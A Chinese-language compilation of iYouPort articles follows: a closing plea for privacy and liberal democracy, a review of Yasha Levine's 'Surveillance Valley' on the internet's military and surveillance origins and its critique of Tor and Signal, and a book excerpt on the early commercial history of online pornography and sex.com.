因此，有必要说明为什么你仍然应该为自由民主而战 —— 即使你的现任总统或总理是个笨蛋。即使你认为现任政府或过去的政府（或两者）已经毁了你的国家。即使你觉得自己被排斥在政治进程之外。即使你觉得当地的政治家没有代表你。即使你怀疑你的社会已经被黑客

入侵。即使你不信任你的同胞。即使你被民主所辜负，你也应该努力改善它，而不是摆脱它，因为它是最能充分保护包括你在内的每个人的基本权利的制度。它承诺了，那就必须让它做到。

“没有人宣称民主是完美的或万能的”，温斯顿·丘吉尔在1947年说过一句名言，“事实上，有人说，民主是最糟糕的政府形式—— 除了那些不时被尝试的其他形式之外。”民主不是一个伟大的制度。在最好的情况下，它是混乱的，痛苦的，缓慢的，而且抗拒变化。它是如此的零乱，看起来就像一个五岁小孩做的被子。它需要妥协，因此在大多数时候，没有人完全得到自己想要的东西，每个人最后都有些不满意。在最坏的情况下，这个制度被一小撮富人所利用，他们编写社会规则，以牺牲其他人的利益来使自己受益。

但民主制度也有其他政治制度所没有的优势。哲学家卡尔·波普尔提醒说，民主制度是不用流血就能摆脱坏政府，不用暴力就能实施改革的最佳途径。

尤其是为了让你的权利得到保障，民主必须是自由的。否则我们就会冒着约翰·斯图亚特·密尔所说的“多数人的暴政”的风险。多数人对少数人的压迫就像独裁者一样。如果你是一个普通公民，生活在自由民主制度下，是你拥有最大自主权的最佳机会。自由民主制度允许我们作为个人和社会进行自我管理。

民主政体并不总是死于暴力飞溅—— 它们也可能死于民选领导人之手。英国哲学家乔纳森·沃尔夫（Jonathan Wolff）认为，法西斯主义破坏民主的第一步是将多数人的意志置于少数人的权利之上。第二步是质疑多数人意志的表达方式，从而破坏投票。在数字时代，你应该非常小心科技公司宣称能诠释你的意志并帮你投票的小工具。例如，人工智能学者塞萨尔·伊达尔戈（César Hidalgo）就认为，未来我们应该拥有代表我们投票的数字化身。坏主意。

但也不全都是坏消息。权力可以被抵制、被挑战。你我也有权力，而我们集体拥有更多的权力。数字时代的机构囤积了太多的权力，但我们可以收回它们维持权力的数据，我们可以限制他们收集新的数据。科技巨头的力量看起来非常稳固，但科技的纸牌屋是可以被打乱的。没有我们的数据，他们什么都不是。

没有人比科技公司自己更意识到自己的脆弱性了。这就是为什么他们试图让你相信，他们毕竟还是“关心隐私的”（他们的律师在法庭上宣称）。这就是为什么他们花费数百万美元进行游说的原因。如果他们如此肯定自己的产品对用户和社会有益的价值，他们就不需要如此努

力地游说了。科技公司已经滥用了他们的权力，现在必需抵制他们。

不要在没有一定的抵抗力的情况下向数据经济屈服。不要错误地认为你的隐私伤害是无所谓的。你可能会认为你的数据只能为你服务，而绝不会对你不利，如果你到目前为止还算幸运的话。但你认为理所当然的民主很可能会由此蜕变成一个专制政权，那就不会对你我有利了。如果我们把所有的权力都给了监视资本主义，因为我们认为我们现在的领导人是仁慈的，而当事情变坏的时候，我们将无法收回权力。隐私就是权力，我们必须把它夺回来。〇

原文

互联网究竟是什么？—— 来自“监视谷”惊人的启示 - iyouport

免费书和纪录片监视资本主义的世界集中化毁掉互联网自由

【2018年7月18日存档】预先提示：如果您觉得前面的章节读起来不舒服，请从后半部分的编者按读起。但我们坚持将这些章节放在前面，以此承诺，是时候改变了

很多人曾经认真地相信“don’t be evil”。虽然这三个词经常被用来代表一种风格，但它们的主要功能只是作为一个蒸汽通风口—提供一种有用的渠道，让整栋建筑物所承受的压力在濒临爆炸的时候得以释放出一部分，保命。

虽然“don’t be evil”被认为是谷歌对外展示的标志性形象，但硅谷巨头们基本都有属于自己的类似的宣传形象：苹果的“与众不同”；Facebook 的“连接世界”；亚马逊盒子上的笑脸儿等等。当一个揭露出现，开始困扰这个精心构造的外观形象时—— 当事实证明谷歌参与建造军用无人机的制造时，当事实证明亚马逊正在为警察部门制作面部识别软件时—— 人们会感到震惊和愤怒。这家公司怎么可能这样做？！？

这些揭露挑战的不仅仅是围绕特定科技公司的神话，而是围绕整个科技行业本身的神话。毕竟，很多人都抱着这样的信念，相信这些公司正在建设一个“更美好的未来”，当人们不得不考虑揭示这些公司如何构建高科技反乌托邦的真相时，自然会大吃一惊。几十年来，科幻小说一直在警告我们的事，如今已经发生。

在这个领域，有些人似乎渴望让一个新的神话扎根：大型科技公司与军事工业联合体之间令人不安的联系是一种“新事物”。但 Yasha Levine 在其最重要的新书“监视谷”（**Surveillance Valley**）中巧妙地证明了大型科技公司的历史，与压制性国家机器的历史完全交织在一起。

在这里下载这本书的电子版：https://t.me/iyouport/6555

虽然许多人可能至少在名义上意识到了早期计算机、原始互联网和军队之间的联系，但 Levine 的书揭示了这些联系的深度，以及它们如何持续地存在。正如他被认为是挑衅性的说法那样，“互联网曾经是一种武器，现在仍然是武器”。

因此，谷歌建造军用无人机、Facebook 偷窥我们所有人、以及亚马逊为警察部门制作面部识别软件等等令人反胃和惊愕的状况，无需被理解为不正常。相反，这就是他们的基本生意。混蛋就是他们的真面目。

Levine 开始了他对越南战争的描述，以及被称为高级研究计划局（ARPA）的国防部的一部分—— 该部门的出现源于相信美国能打一场必胜的高科技战争。ARPA 的技术专家们认真地相信“科学和技术的力量以解决世界的问题”，他们相信他们开发和部署的高科技系统（如 Project Igloo White ）将能使美国在越南取得胜利。

虽然美国在这场冲突中最终没有取得胜利，但 **ARPA** 技术官僚们的世界观，以及新生科技部门和军方之间的联系，胜利了。事实上，越南制定的策略和技术很快就会用于处理国内问题，“为加强种族主义和结构性贫困的公共政策提供一个现代科学的虚伪装饰”。

Levine 的文件中关于计算机早期历史的大部分内容都植根于二战期间为满足军事和情报需求而开发的系统—但冷战为进一步军事依赖日益复杂的计算系统提供了充足的动力。随着人们对核战争的担忧，计算机系统（如 SAGE）的开发便出现了，以监视国家、并为军事官员提供稳定的信息流。

随着计算技术的进步，控制论思维的分散随之而来，它将人类视为信息处理机器，与计算机不同，并有助于推进世界观，其中，如果有足够多的数据，计算机可以理解世界。所需要的只是将更多、更多的信息提供给计算机—— 事实证明，情报机构是最早利用这些系统的群体之一。

虽然这些控制和监视系统的发展伴随着向商业公司推销商用计算机的尝试，但 Levine 的观点是，这不是一种或两种情况，而是“并且 / 也，”计算机技术总是“双重用途”的，用于商业和军事“—这种分裂使计算机科学家和工程师在道德上受到工作中存在的“军事应用”属性的困扰，这些人希望自己能严格地在商业或科学方面工作。

ARPANET 是著名的互联网先驱，旨在连接各个知名大学的计算机中心。依赖于接口消息处理器（IMP），系统通过各种节点在网络上传

送消息，并且在一个节点发生故障的情况下，系统将通过其他节点重新路由消息—这个传递信息的系统可以抵御核战争的攻击。

虽然各种各样的乌托邦式神话围绕着早期的互联网，渲染它的先行者，但 Levine 强调，“监视从一开始就被嵌入其中了”。一个典型的例子，很大程度上已经被遗忘的 “CONUS Inter” 计划收集了数百万美国人的信息。通过将这些信息编码在 IBM 打孔卡上，然后将其输入计算机，执法小组和军队不仅可以获取有关犯罪活动的信息，还可以监视并阻止受第一修正案保护的任何社会活动。

延伸阅读：《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》《美国情报部门如何通过互联网大规模监视压制社会异议》

随着关于那些数据库的新闻传播到公众面前，人们产生了对高科技监视社会的恐惧，也引导一些参议员，如 Sam Ervin，强烈反对该计划。并且预示了即将发生的事态，“军队承诺会销毁监视文件，但参议院无法获得有关文件完全被清除的明确证据”。

虽然人们担心 ARPANET 的监控潜力，但这种潜力的增长却几乎没有得到检查，更多的政府机构开始建立自己的子网（PRNET，SATNET）。然而，由于他们依赖于不同的协议，这些网络无法相互连接，直到 TCP / IP 出现—— “为今天的互联网提供支持的基本网络语言”，那些政权成功了。

然而，对公民的监视、以及公众对计算机控制的反击，并不是大多数人在互联网上熟悉的重要故事。相反，被讲述出来的故事是军事技术关于 20 世纪 60 年代反主流文化的一个非常有选择性的被过滤了的结果，以允许它以一些叛逆的可信度出现。这种观点很大程度上归因于斯图尔特·布兰德（Stewart Brand），他将新兴的互联网从军事技术转变成了适合所有人的技术，“恰好由五角大楼经营”。

Brand 在重塑计算机和从事计算机工作的人员方面发挥了突出的公共作用—— 将这些冰冷的机器转变为乌托邦的大门，并将计算机程序员和企业家描绘成反主流文化的真正英雄。

在这个过程中，这些机器的军事性本质在五颜六色的外套背后消失了，监视社会的恐惧被完全自由的时髦的承诺所取代。

随着 **ARPANET** 慢慢变成了我们称为互联网的私有化商业系统，政府与网络的联系被进一步隐藏起来。

延伸阅读：《卧室里的坦克—— 被军事化的互联网人，以及可以怎么办》

互联网只是被称为“no real public debate, no discussion, no dissension, and no oversight“，这似乎令人难以置信，但值得记住的是，这不是我们所知道的互联网。相反，我们所知道的互联网神话是如何构建的？正如“连线”杂志所展示的那样，“毫无疑问，无论如何使用，市场和分散式计算机技术的最佳优点和正确性都是毫无疑问的”。

从 **ARPANET** 到早期互联网到今天互联网的转变呈现出一个稳步发展的故事，其结果是，今天，“互联网就像一个巨大的、看不见的二进制大对象，吞没了现代世界”。就这种“吞噬”而言，很难不想到少数几家大型科技公司（亚马逊，Facebook，苹果，eBay，谷歌）他们要负其中大部分责任。在当前的互联网氛围中，人们已经很大程度上习惯了几乎陈词滥调的流行语：“如果你不付钱，你就是产品”，但这恰恰代表了人们在很大程度上接受了互联网是一个大型监控机器的方式。

当然，向巨人提供信息是“有道理的”，许多人（至少在早期）似乎是真的被谷歌的“不做恶”形象所蒙骗了，他们认为自己是这个神话的受益者“Google 越了解某人，其搜索结果就会越好”。像谷歌这样的公司似乎已经被广为理解的关键醒悟是，可以根据人们在网上做的事情（特别是人他们认为没有人在偷窥时所做的事情）谷歌可以了解很多—— 人们在搜索什么，人们访问什么网站，购买了什么……

最重要的是，这些公司明白，“人们在网上做的一切都留下了数据的痕迹”，控制数据就是掌握权力。这些公司“零距离地了解我们，甚至了解那些我们对最亲近的人都会隐瞒的事”。

ARPANET 发现自己卷入了一个重大丑闻，当时它被揭露是如何被用来收集信息以监视普通人生活的—— 而且很可能“在很多方面”实施这种监视，“然而，从 **ARPANET** 时代过度过来的互联网，并没有太大变化。它只是变得更强大了：蔓延了整个世界“。

但即使人们逐渐接受了互联网就是一个大型监视机器的事实，至少是行动层面的接受如果不一定是信念的话，定期发生的事件仍然会刺激这种自满。一个很好的例子就是：Edward Snowden 对国家安全局（NSA）的揭露，它在全世界的报纸头版上扩大了互联网辅助监控这一事实的认知规模。

Snowden 泄露的文件揭示了“国家安全局将硅谷的全球性平台变成了事实上的情报收集机构”，这些文件暴露了“硅谷与美国政府之间的共生关系”。

然而，在随后的骚乱中，硅谷却在很大程度上能够将自己描绘成受害者。 Levine 将其中的一部分归功于 Snowden 自己的自由主义政治倾向，他成为了技术爱好者、密码朋克和被互联网倡导者崇拜的英雄，“他曝光了硅谷在互联网监控中被隐秘已久的角色”，同时推进了自由主义者对“计算机网络乌托邦承诺”的信仰，类似于 Steward Brand 所宣称的那样。

在许多方面，Snowden 作为早期技术自由主义者的完美继承人出现，特别是因为他（像他们一样）更少关注大规模的政治行动，而更多地关注通过技术获得救赎的思路。而 Snowden 的首选技术是 Tor。

虽然 Tor 可能将自己作为了避免监控的解决方案，并被许多最坚定的拥护者支持，但 Levine 对此表示怀疑。注意到“ Tor 只有在人们致力于维护严格的匿名互联网例程时才有效”，Levine 认为 Tor 提供的是“虚假的隐私感”。Levine 描述了 Tor 的起源，最初需要为政府工作人员提供在线匿名访问互联网的能力，而不会泄露他们的真实身份；并且为了使 Tor 有效，该平台需要扩展其用户群：“Tor 就像一个公共广场，群体在那里组建的规模越大，越多元化，间谍们就可以更好地隐藏在人群中”。

延伸阅读：***Tor*** 从来没有否认这点《当搬石头砸脚遇到“运动死亡”》

虽然 Tor 已经作为一个独立的非盈利组织剥离出来了，但它仍然依赖于美国政府的大部分资金，Tor 旨在通过强调其激进主义用户群以及与 Wikileaks 等新闻组织建立密切的工作关系来解决这个问题—— 标示自己摆脱美国政府额立场，因为那些群体经常与美国政府发生冲突。

在斯诺登的形象中，Tor 找到了一位完美的公共倡导者，Snowden 似乎是 Tor 价值的活生生的证据—毕竟，他成功地使用了 Tor。然而，正如 Ross Ulbricht（丝绸之路的“Dread Pirate Roberts”）所证明的那样，Tor 可能并不像看起来那样完全安全—卡内基梅隆大学的研究人员“已经找到了一种廉价而简单的方法来破解 Tor 的超级安全网络“。（我们还没有看到过这一研究的具体报告）

更糟糕的是，**Tor** 已经被国家安全局当作了蜜罐，被认为是“有人在那里做坏事”的线索，令使用者遭受更强针对性的监视。

对于加密消息服务 Signal 来说，有着大部分相同的故事—它是由政府资助的，并且不像其粉丝所认为的那样绝对安全（互联网本来就没有绝对安全）。当然这些工具对于致力于保持匿名的高技术文化人员来说是很有用的，但“对于普通用户来说，这些工具提供了错误的安全感并提供了与隐私相反的功能”。（请注意，这里他指的是，美国政府可以做到全面监视，打破上述加密技术，几乎没有第二个政府可以做到这点，因为美国有霸占互联网的地利）

互联网的中心神话将其视为由乐观嬉皮士建立的无政府主义乌托邦，希望通过高科技工具拯救世界免受侵入性政府的迫害。然而，正如《Surveillance Valley》所述，“计算机技术无法与其开发和使用的文化分离”—— 监控一开始就是互联网的核心，也一直都是互联网的核心—这里有着政府机构和巨头公司无处不在的眼睛。这是一个政治问题，无法通过技术方案来解决。

支撑互联网的自由主义精神适用于科技巨头和密码朋克，但真正的替代方案并不是一套工具，允许有技术能力的极少数人能够保护自己的隐私。

终极解决方案是真正的互联网民主化。

注：我们删除了一部分内容，大致原因在于文章太长了某些平台不支持这一长度。被删除的部分或许是最具争议的部分，说实话，我们是在高强度的批判性思维基础上尽可能保持冷静阅读的。为什么会这样？详见如下的分析。

编者按—— 如果上述章节让您感到不舒服，我一点不会觉得奇怪。我几乎被击碎了，醍醐灌顶的冲击，它说出了我一直深感困惑却无力说出口的东西。因为要想承认这点，首先就要粉碎那些曾经支撑我们所有人希望，我们几乎全部力量的源泉。这太残酷了。

但自己骗自己肯定不是解决方案。无休止的监控和反监控、入侵和反入侵、封锁和反封锁的战役，看不到尽头的消耗，而数字极权一直走在前面。我们能坚持在这场战役中的力量来自我们告诉自己要相信水涨船高，相信猫鼠游戏是我们所有人的宿命。但它不是，恰恰是那些我们一直专注的东西，似乎错了。

是时候反思这个问题。在我们被耗尽之前。

这本书是对互联网的起源和当前状态的一系列史上最毫不留情的观点。Yasha Levine 可以说是以惨无人道的方式将所有人的视野撕开

了，他强调发展到今天的这个互联网本来就是个彻头彻尾的监视工具，而不是人们能理解到“谷歌是坏蛋”就够了。

虽然 Levine 陈述的大部分历史对技术历史学家或那些精通技术批评的人来说并不陌生，但《Surveillance Valley》这本书中将许多（通常是单独的）线索带入同一个叙事中。计算机和互联网的早期历史常常被放在一个孤岛中，而科技巨头的崛起则被放在另一个孤岛中，而 Levine 将它们组合在一起了，以至于足以展示连续性并让它们能够得到更为充分的理解。

Levine 的描述中特别值得注意的是他强调了早期社会对 ARPANET 的反击（互联网的前身），那是一系列经常被遗忘的事件，完全值得推出一本自己的书。

Levine 还描述了 20 世纪 60 年代的学生们，他们在早期的 **ARPANET** 项目中看到的是“由全国各地大学校园的勤奋研究人员和工程师们悄悄组建起的网络化监视系统，政治控制系统和军事征服系统。

同样，Levine 强调了 NBC 从 1975 年就开始报道了的 CIA 和 NSA 通过利用 ARPANET 项目对美国人进行的间谍活动—— 比斯诺登早三十年，以及参议员为抵制这一项目所做的努力。尽管 Levine 没有提出也没有声称要提出一个有关阻碍和抵抗的综合历史，但他的说法清楚地表明，关于技术解放的主张经常遭到怀疑，而大部分怀疑论被证明是具有高度先见之明的。

这是最令人焦虑的部分，一个关于如今“我们正在做什么”的痛苦自省。

然而，那种抵抗历史在很大程度上被人们遗忘了。随着被渲染成技术力量的所谓“twitter 革命”占据各大报纸的头版，新媒体“转型”和互联网创业被夸夸其谈，几乎没人再愿意提起这一文化肮脏的起源，美丽的神话被编织得栩栩如生，一切都被扭曲了。

这种扭曲将互联网的起源，在公众的想象中，从越南的反叛乱武器转移到了加利福尼亚的反主流文化社运。这是彻头彻尾的变质。以至于当十几年前，数字极权的概念被抛出时人们的表情是惊讶的，甚至认为它只是学界象牙塔里的矫情；当几年前监视资本主义的概念被叫响时，人们的表情是困惑的，就如同看着 #deleteFacebook 运动后几乎纹丝未动的广告利润额……于是，具有“最大”视野格局的人开始思考，“我们是否应该扔掉这个 internet？”

无人回应。因为所有人都明白，这几乎不再可能。我们打造了一个牢狱，把一切都装了进去。就如我曾经在《百忧解时代》系列文章中介绍过的一部让人揪心的流行小说所描述的那样：

> “我从未想过要让这一切发生，它运作的太快了。我从没构想过这样一个世界，在这个圆圈中的所有成员都被迫执行命令，所有的统治、所有的生活组成同一个网络……曾经我们还可以选择退出，但现在不行了，“完成”已经是最后阶段，我们把所有人都锁在了圆圈里。每一个人都对其他人保持着完美透明的圆圈，绝对力量和绝对无能的圆圈。这是极权主义的噩梦……”

这段话来自 Dave Eggers 在2013年写的一篇名为《圆圈》的小说，讽刺数字世界的圆形监狱本质。有些人认为这部小说不过是《1984》的模仿版，但 Dave Eggers 在结尾部位也就是上面这段文字中，上升到了奥威尔没有达到的层次—— 它展现出一种处于“完成”阶段的极权主义噩梦的超人类力量。

这大概是第一部针对性揭示这个互联网本性的艺术作品。从这一角度上看，《Surveillance Valley》的观点已经不算出奇。但它最出奇的地方在于，对于解决方案的极端性表述。正如你所看到的那样，他认为我们所有人的努力，曾经那些无休止的消耗，一钱不值。

因为我们被困住了，被困在了那个“圆圈”里。我们所有的挣扎都建立在这个圆圈仍然完整的基础上，这就是为什么我们赢不了。

在此有必要说句公道话，在某些部分 Levine 遭到了严重的误解，比如这本书中关于 Tor 和 Signal 等加密工具的章节，绝对是最具争议的，因为他的论述让自己彻底摆脱了技术本身，而我们所有人都在技术层面上思考，一直以来，或者不客气地说，是在自卫的层面上思考。被动挣扎。这正是 Levine 所反对的，他提出的问题是：我们为什么要如此被动？

也要怪 Levine 嘴臭，太不留情面，至少不够尊重他人的工作。但是如果你在阅读《Surveillance Valley》这本书之前就熟悉 Levine 所报道的新闻的话，你将会知道，他的大部分报道都涉及加密技术，如 Tor，以及类似的隐私保护技术。实际上，在某种程度上，《Surveillance Valley》完全可以被视为那些报道的产物。只是视角升级了。

所以必须指出：将 Levine 的书定义为“攻击 Tor（或项目工作者）“是完全错误的，彻头彻尾的误解。

Levine 对 **Tor** 的评论与他的书中更大的论点的主旨相一致：这种隐私工具是高科技社会创造的问题的高科技解决方案，主要用于让人们沉浸在所有这些高科技系统中。

他质疑 Tor 的政治，并指出“硅谷担心政治解决隐私问题，而 Internet Freedom 和加密提供了一个可令硅谷接受的解决方案“。于是这一方案无法撼动囚困我们的“圆圈”，它只是令当权者困惑，而我们的对手不仅仅有现实中的当权者。

或者，换句话说，Tor 有点像在 Whole Foods 购物—— 关心食物的人愿意花更多的钱来获取他们的食物，但最后购物本身让人们感觉良好，人们并没有真正挑战更广泛的体系。

还有一点非常重要，Levine 对 Tor 的批评中最主要的因素并不是说 Tor 的匿名能力不行，对某些人（如斯诺登）来说，Tor 显然是非常高效的隐私保护手段，但是对于大多数不知道该如何正确使用它的用户来说（并且不愿意真正完全地使用加密作为生活方式的人），它就完全保护不了这些人。

我们一直意识到这个问题。目前这种模式的互联网自卫运动的结果很可能是让少数技术精英获得了隐私特权，然而对于大多数不懂技术的人来说，很多匿名工具难以起到有效的保护作用，很多人根本无心学习那些技术。而作为基本人权，隐私权应该是人人享有的，正如匿名者组织的口号：只要有一个人尚未自由，我们所有人都不会自由。

于是我们就事论事地寄希望于技术推广、更便捷的加密方法来保护更多的人，直到它能保护所有人，将监视资本主义隔离在外。我们为这个幻想拼搏了多年，直到被 Levine 这本书惊醒。他说的没错，即便这个幻想成真，我们依旧没能打败数字极权。

我们认为他是对的。这一中心观点与《Surveillance Valley》全书的一个微妙主题保持一致：用技术代替政治。因此，在他的书中，Levine 不仅将互联网视为权力剥夺的根据—— 因为它依靠监视并依赖于大型企业而存在，并且他强调，互联网的意识形态核心如何将所有政治行动集中在了技术上。对于每一个社会、经济和政治问题，互联网都将其作为解决方案—但 Levine 不愿意接受这一想法。

最后，有必要指出的是，Levine 在一定程度上误会了密码朋克。他似

乎认为密码朋克是原地自卫，也就相当于没能真正认清互联网的本性。完全不是这样。密码朋克几乎是最早提醒监视资本主义的人，在媒体鼓吹“Facebook 革命”期间不断地警告这一危险性（见下图），并且也是去中心网络重塑长期坚定的支持者，与 Levine 的结论并不矛盾。以下是密码朋克的概述。

如果 Levine 认为密码朋克会反对这本书中的观点，那就错了。至少我，密码朋克老牌支持者，完全认为无需辩论，我们与 Levine 的目标是一致的。

并且，尤其重要的是，要解决监视世界的问题需要极为复杂的工作和也许较为漫长的时间，在这段时间内，在数字极权掌下的我们所有人能做的最有效工作就是加密，为了保证工作能继续进行，我们必需能做到首先让自己从这个监视网络中脱离出来，而密码朋克的工作正是为了实现这一目的所付出的努力。

延伸阅读：《如何才能挑战 ***Facebook*** 并取得胜利？—— ***Distributed Social Network***》

Levine 之所以被认为是最大的异端，恐怕是因为他拒绝向 Stewart Brand 和 Kevin Kelly 等早期的大牌技术爱好者致敬。

并且 Levine 还撕毁了我们很多人心目中的英雄，他批评了一些团体和个人如何在“仍然是 **ARPANET**”的情况下警告互联网，是的这其中包括我，但他也更加强调了这些人最有可能有助于创造更好的替代方案和曾经未被采取的路径，他们是互联网革命的希望。

在这本书的结尾部分 Levine 指出，“我们生活在萧条时期，互联网是他们的影子：由间谍和强大的公司经营，就像我们的社会完全由他们经营着一样。但这并非完全是绝望的“。

是的，并非完全绝望。尽管 Levine 提出了民主行动作为必要的回应是值得尊敬的，但这是一项冗长的工作结束时才能有的解决方案，就如我们一直在做的那样，Levine 也强调了互联网如何在很大程度上侵蚀了民主。所以，

这本书指出，仅仅谈论民主是不够的，人们需要认识到某些技术是民主的，而其他技术则不是。尽管我们不愿意承认，但也许互联网根本就不是民主技术。当然，我们也许可以将它们用于民主目的，但这并不能使技术本身变得民主。

结尾，可以再强调一句：《Surveillance Valley》这本书对结交很多朋友并不是特别感兴趣—— 它不可能获得广泛认同，它也不做这种期待。一方面，它消除了关于互联网的令人欣慰的神话—— 这些神话曾经在很长时间里是绝大多数人能坚持到今天的唯一支撑（包括我），另一方面，它推翻了经常被吹捧为解决许多互联网问题的工具—— 一种毫不留情的，毫无情面的，可以说是极为残酷地打击（包括对我）。

我们承认，《Surveillance Valley》是一本非常令人不安的书，但它是一本重要的书，这就是为什么我们必需翻译它。它打破了令人欣慰的神话，并拒绝给读者留下简单的解决方案。最为印象深刻的是，它指出，军事—工业综合体的全球性大规模监视和各种惊人的侵犯性事件，并不是互联网“出现问题”的迹象，而是，这个互联网按照预期运作的迹象。〇

原文

互联网色情产业简史 - iYouPort

免费书和纪录片其他

人类历史上是什么一直站在推动新媒介的前沿？是色情。互联网色情业究竟有多赚钱？或许超乎你的想象……

「图」

「图」

人类历史上是什么站在推动新媒介的前沿？是色情。互联网色情业究竟有多赚钱？或许超乎你的想象……这篇文章来自一本新书的节选 The Players Ball: A Genius, a Con Man, and the Secret History of the Internet's Rise， by David Kushner。

“万能的上帝，万物之主，我们赞美你在我们这个时代享受的计算机化通信的进步。然而，令人遗憾的是，有些人在淫乱、不雅和破坏性的色情内容中污染了这条信息高速公路“……

1995年6月14日，在华盛顿特区的参议院内，来自内布拉斯加州的74岁的民主党人吉姆·埃克森（Jim Exon）带着银色的头发和眼镜，向他的同事们开始了演讲，并为此次活动写下了一个祷告就是上面这样。

他在那里敦促参议员们通过他和印第安纳州参议员 Dan Coats 对“通信规范法案”（CDA）的修正案，该法案将现有的猥亵和反猥亵法扩展到了新兴互联网时代的“交互式计算机服务”领域。 他在祈祷中说，“考虑控制计算机通信污染的方法以及如何保护我们最大的资源之一：我们孩子的思想以及我们国家的未来和道德力量。阿门“。

Exon 举起了一个蓝色的活页夹，他警告说，这里面充满了“变态色情”，在网上“只需点击几下”。“我不能也不会向参议院展示这些照片，”他说，但是“我希望所有同事，如果他们感兴趣的话，都会来我这里拿走看看这种令人作呕的材料。“

他们的确很感兴趣。

他们一个接一个地翻阅了这些“怪诞的东西”，就像 Coats 所说的那样，创新得到了培养。他引用了一项数据—虽然很可疑—来自一项研究，该研究发现在线的色情图像超过450,000，去年的访问量约为640万次。主要来源是免费的 newsgroups-alt.sex，alt.bestiality 等等，都是肉体和污秽的狂野西部。

“使用旧的互联网技术，在家中的PC上检索和查看任何图形图像都可能很费力，”Coats 解释说，“但新的互联网技术，就像网络浏览器那样，使这一切变得更加容易。”

然而，对色情和新兴技术的这种关注远非新鲜。研究技术文化影响的哥伦比亚大学研究员约翰·蒂尔尼（John Tierney）追溯他称之为“色情技术冲动”的东西到了至少27000年前—— 从那个时代发现的第一批粘土烧制的人物形象中，就存在大乳房和大屁股的性感女性。

“有时色情一直是推动技术创新的力量，”Tierney 于1994年在“纽约时报”上写道，“几乎总是这样，从石器时代的雕塑到电脑公告栏，色情一直是新媒体的首批用途之一。”

可以预见，这种描述随着每一种新技术的出现而出现。在洞穴艺术中，公元前15000年在 La Magdelaine 洞穴的墙壁上出现了斜倚女性裸体的草图。当苏美尔人发现如何在粘土片上写楔形文字时，他们用十四行诗赞美外阴。在古腾堡出版社出版的早期书籍中，有一个16世纪的集子，基于被认为是第一个色情作品创作者的十四行诗，Aretino，这是一本被教皇禁止的书。

每一种新媒体都遵循类似的创新模式，色情和愤怒的模式。商业上展出的第一部电影是由 Thomas Edison 发行于1900年的“亲吻”（The Kiss），描述了不可描述的东东。史上第一部情色电影，一部名为 Le Coucher delaMariée 的脱衣舞片子，于1896年发行，也让观众热情高涨。

到20世纪50年代末，8毫米电影的出现将色情的力量赋予了任何人—— 并由此启动了现代色情行业。20年后，当老式录像机进入家庭时，超过75%的录像带都是色情录像带。人们普遍认为，索尼决定禁止 Betamax 格式的色情内容注定失败。

1984年贝尔电话系统的兴起一下引发了900个电话性交的爆炸。因此，互联网的曙光引发相同的创新、需求和愤怒也就不足为奇了。

互联网色情内容的出现始于“乔治城法律杂志”上发表的一项名为“信息

高速公路营销色情”的研究。由卡内基梅隆大学本科生 Marty Rimm 撰写的权威研究声称是“对四十个国家、省和地区超过2000个城市的消费者的917,410图像、描述、短篇小说和动画的调查，这些内容被下载了850万次。 Rimm 声称80％的图像都是色情内容。

这个令人震惊的数字吸引了时代杂志的注意，该杂志于1995年7月3日发布了封面故事，宣布即将发布的调查结果。封面照片显示一个小男孩在电脑键盘上，沐浴在蓝色的灯光下，眼睛睁得大大的，嘴巴惊恐地张开。旁边写着 “我们可以同时保护我们的孩子和言论自由吗？”

尽管有公民自由主义者和怀疑论者的强烈抗议，Rimm 的研究最终依旧成为了“沟通规范法”提案的基础。（Rimm 自己也暗示他能够确定“任何特定日期在 Usenet 上可用的所有图像的色情内容百分比”是纯粹的幻想）

而且，正如 Exon 在参议院聚会期间所说的那样，他们的责任很明确。尽管对言论自由的限制提出了异议，但 CDA 将针对新兴的色情网络传播者，他们现在会因发布可能被18岁以下的任何人访问的淫秽内容而面临最高两年的监禁。投票率是压倒性的：参议院和后来众议院都批准了 CDA。

然而，到了那年的夏天，该法律的基础已经彻底失去了信誉。 Rimm 的论文受到评论家的抨击，被发现是在没有同行评议的情况下发表的，评论家们认为这是反色情活动家的阴谋。“纽约时报”将这项研究视为“扼杀者”，充斥着“误导性的分析、含糊不清的定义和不受支持的结论”。在互联网 trolls 的攻击下，Rimm 躲了起来。但他和参议员们的工作“已经完成了“。

1996年2月8日，比尔克林顿总统将“通信规范法”签署为法律。 他说，“今天，我们的法律将迎合未来。” 但对于 Exon 和其他人来说，未来不可能很快到来。“但如果现在什么都不做，色情作家可能很快成为信息革命的主要受益者”，他在听证会上敦促他的同事时说。

1996年5月在佛罗里达州博卡拉顿的一天，AIS Marketing 的老板 Jordan Levinson 接到了一个想要从信息革命的新兴黑社会中受益的人的电话：Stephen Cohen。

Levinson 曾与父亲一起经营一家电话性爱公司，当时他遇到了大量色情作家，他感觉到，正如他后来所说的那样，Cohen “对这个行业似乎并不太了解”。但 Cohen 有一些更有价值的东西：任何拥有计算机和调制解调器的人都会在他们寻找色情片时输入的那个域名，

www.sex.com。因此，他很快就达成了协议，购买、出售和收集广告，因为 Cohen 承诺将成为在线“sucking and fucking”最大的目的地。

尽管有联邦法规，但根本没有办法阻止色情网络的蓬勃发展，更不用说确定或执行消费者的年龄限制了。而且现在有更多的人在线了。根据美国人口普查局的统计，拥有电脑的家庭数量激增—— 达到接近36％的美国家庭，高于1993年的22.8％，而1984年仅为8％。五分之一的美国人现在正在使用互联网。

人口普查局说大多数人将互联网用于电子邮件，或者“查找政府、商业、健康或教育信息”，尽管当时在线的任何人都知道他们真正想要的是什么—— 就像前几代人在面对每一个新媒体时所做的那样。

更好的是，正如 Cohen 所了解的那样，人们愿意为获得色情内容支付费用。1996年春天，当他将Sex.com作为一家公司推出时，一个不法分子、创新者和企业家的黑社会正在出现。但首先他们必须做以前没人能做过的事：弄清楚如何在网上赚钱。

虽然 Cohen 可能会出售会员资格订阅他的网站，每月向访问者收取费用以访问照片、视频等等—— 正如 Levinson 解释的那样，诀窍是让冲浪者点击横幅广告，即信息高速公路的互动广告牌，以及访问网站。

点击一个页面上的横幅广告会将访问者带到另一个页面。广告客户的价值有两种方式：“展示次数”表示横幅广告可供访问者查看的次数，以及“点击次数”，即 用户点击广告的次数。“他们支付广告费用，”Levinson 说，他将成为广告人—— 购买、出售和收钱，所有这些都是为了优惠15％。Cohen 得到多少钱？Levinson 认为，像Sex.com这样的网站每张广告上涨30,000美元。

他意识到，Cohen 甚至不需要制作色情片来赚钱。他只需要通过在他的网站上销售广告并兑现他发送给他人的流量就可以赚钱。Cohen 知道自己该做什么了：尽可能多地卖广告，他需要做的就是向网上新生的色情作家宣传他是开放的。他选择的地点是拉斯维加斯。

